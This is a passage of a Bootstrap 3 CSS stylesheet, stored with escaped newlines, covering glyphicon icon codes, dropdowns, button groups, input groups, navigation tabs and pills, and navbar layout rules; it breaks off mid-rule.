\"\\e080\";\n}\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px solid;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle:focus {\n  outline: 0;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  list-style: none;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.42857143;\n  color: #333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #428bca;\n  outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #999;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.open > a {\n  outline: 0;\n}\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu-left {\n  right: auto;\n  left: 0;\n}\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.42857143;\n  color: #999;\n}\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  content: \"\";\n  border-top: 0;\n  border-bottom: 4px solid;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n  .navbar-right .dropdown-menu-left {\n    right: auto;\n    left: 0;\n  }\n}\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus {\n  outline: none;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n.btn-toolbar {\n  margin-left: -5px;\n}\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n  float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n  margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n  float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group > .btn-group:first-child > .btn:last-child,\n.btn-group > .btn-group:first-child > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn .caret {\n  margin-left: 0;\n}\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n[data-toggle=\"buttons\"] > .btn > input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn > input[type=\"checkbox\"] {\n  display: none;\n}\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  float: left;\n  width: 100%;\n  margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555;\n  text-align: center;\n  background-color: #eee;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n  border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n  border-left: 0;\n}\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-group-btn > .btn {\n  position: relative;\n}\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n  margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n  margin-left: -1px;\n}\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n.nav > li {\n  position: relative;\n  display: block;\n}\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.nav > li.disabled > a {\n  color: #999;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #999;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eee;\n  border-color: #428bca;\n}\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.42857143;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n  border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555;\n  cursor: default;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.nav-pills > li {\n  float: left;\n}\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #fff;\n  background-color: #428bca;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n.nav-justified {\n  width: 100%;\n}\n.nav-justified > li {\n  float: none;\n}\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.tab-content > .tab-pane {\n  display: none;\n}\n.tab-content > .active {\n  display: block;\n}\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n.navbar-collapse {\n  max-height: 340px;\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  -webkit-overflow-scrolling: touch;\n  border-top: 1px solid transparent;\n  box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container-fluid > .navbar-header,\n  .container > .navbar-collapse,\n  .container-fluid > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n.navbar-brand {\n  float: left;\n  height: 50px;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand,\n  .navbar > .container-fluid .navbar-brand {\n    margin-left: -15px;\n  }\n}\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.navbar-toggle:focus {\n  outline: none;\n}\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n  margin-top: 4px;\n}\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n  .navbar-nav.navbar-right:last-child {\n    margin-right: -15px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n  }\n}\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .navbar-form .input-group > .form-control {\n    width: 100%;\n  }\n  .navbar-form .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    padding-left: 0;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    float: none;\n    margin-left: 0;\n  }\n  .navbar-form .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-form.navbar-right:last-child {\n    margin-right: -15px;\n  }\n}\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n  .navbar-text.navbar-right:last-child {\n    margin-right: 0;\n  }\n}\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: 